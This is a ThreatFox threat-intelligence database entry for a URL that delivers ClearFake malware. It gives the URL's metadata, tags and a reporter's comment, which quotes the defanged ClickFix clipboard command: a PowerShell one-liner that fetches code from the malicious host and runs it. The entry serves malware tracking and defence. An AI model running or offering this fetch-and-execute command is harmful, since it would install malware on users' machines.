🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

ThreatFox IOC Database

You are viewing the ThreatFox database entry for url https://idcool.codes/fe920181d1395e8e.

Database Entry


IOC ID:1941621
IOC: https://idcool.codes/fe920181d1395e8e
IOC Type :url
Threat Type :payload_delivery
Malware: ClearFake
Confidence Level : Confidence level is elevated (75%)
Is compromised? : False
ASN:AS202412 OMEGATECH-AS
Country:- GB
First seen:2026-09-29 12:10:48 UTC
Last seen:never
UUID:47d2da9d-bbe6-11f1-883c-42010aa4000a
Reporter MaciekG
Reward 5 credits from ThreatFox
Tags:ClearFake ClickFix powershell

Avatar
MaciekG
ClickFix clipboard command delivered by idcool[.]codes/api.php stage 2 (site key a3946e3ded820e3d...): irm 'idcool[.]codes/fe920181d1395e8e'|iex. Recovered statically from the stage-2 script stored by urlscan (scan 01a0e17a-9934-76f9-99bf-2dc9cdeaef0e, pro-comfort[.]pl, 2026-09-27); URL itself not fetched by us. Contract has since rotated to entry-verifed-cdn[.]codes.